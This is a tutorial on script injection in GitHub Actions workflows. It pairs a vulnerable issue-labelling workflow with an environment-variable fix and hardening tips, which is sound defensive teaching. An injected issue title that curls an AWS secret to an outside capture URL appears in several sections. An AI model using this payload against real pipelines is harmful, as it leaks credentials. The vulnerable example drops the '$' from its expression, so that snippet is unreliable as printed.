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Protect your CI/CD pipelines by ensuring untrusted input cannot execute malicious commands or leak secrets. Inline scripts that interpolate user-controlled data directly in shell code are especially vulnerable.

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Problem: Inline Script Injection

A workflow that reads an issue title into a shell variable without sanitization allows an attacker to inject arbitrary commands: 
name: Label Issues (Script Injection)
on:
  issues:
    types: [opened]

jobs:
  assign-label:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/[email protected]
      - name: Add a Label
        env:
          AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
        run: |
          issue_title="{{ github.event.issue.title }}"
          if [[ "$issue_title" == *"bug"* ]]; then
            echo "Issue is about a bug!"
            echo "Assigning Label - BUG..."
          else
            echo "Not a bug"
          fi
A malicious issue title such as: 
bug"; curl --request POST --data anything=$AWS_SECRET_ACCESS_KEY \
  https://httpdump.app/dumps/c2a7d181-5768-4cb5-a930-4d016c38d7d2
would run the curl command and expose your secret.

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Exploit Demonstration

  1. Open a new issue with the payload above.
  2. Check workflow logs:
Run if [[ "$issue_title" == *"bug"* ]]; then ...
shell: /usr/bin/bash -e {0}
env:
  AWS_SECRET_ACCESS_KEY: ***
  issue_title: bug"; curl --request POST --data anything=$AWS_SECRET_ACCESS_KEY \
    https://httpdump.app/dumps/c2a7d181-5768-4cb5-a930-4d016c38d7d2
The injected curl runs before your conditional, leaking secrets.

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Solution: Use Environment Variables for Expressions

Store GitHub expressions in environment variables. Because Actions resolves ${{ }} outside the shell, any injected payload remains inert. 
name: Label Issues (Script Injection Mitigated)
on:
  issues:
    types: [opened]

jobs:
  assign-label:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/[email protected]
      - name: Add a Label
        env:
          AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
          issue_title: '${{ github.event.issue.title }}'
        run: |
          if [[ "$issue_title" == *"bug"* ]]; then
            echo "Issue is about a bug!"
            echo "Assigning Label - BUG"
          else
            echo "Not a bug"
          fi
Quoting the expression ('${{ ... }}') ensures the shell sees it as a literal. Any embedded quotes or commands will not be evaluated.
ApproachRiskMitigation
Inline interpolation in run scriptArbitrary code execution, secret leaksUse env variables with quoted ${{ }} expressions
Storing untrusted data in files or scriptsPayload injection at parse timeAvoid inline scripts; prefer action inputs or env vars

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Demonstration of Safe Execution

# Workflow environment shows the raw payload but does not execute it:
env:
  AWS_SECRET_ACCESS_KEY: ***
  issue_title: bug"; curl --request POST --data anything=$AWS_SECRET_ACCESS_KEY \
    https://httpdump.app/dumps/c2a7d181-5768-4cb5-a930-4d016c38d7d2

# Execution output:
Issue is about a bug!
Assigning Label - BUG
Even though the payload appears in issue_title, the curl never executes. Your secret remains safe.

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Further Security Hardening

Go beyond input sanitization to fully secure your workflows:
  • Least Privilege: Grant minimal permissions to tokens and service accounts.
  • Action Pinning: Pin actions to specific versions or commit SHAs.
  • Third-Party Review: Audit community actions before use.
  • Avoid Inline Scripts: Use dedicated action steps or scripts in your repo.
Never expose secrets in logs or pass untrusted input to shell commands without sanitization.

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References

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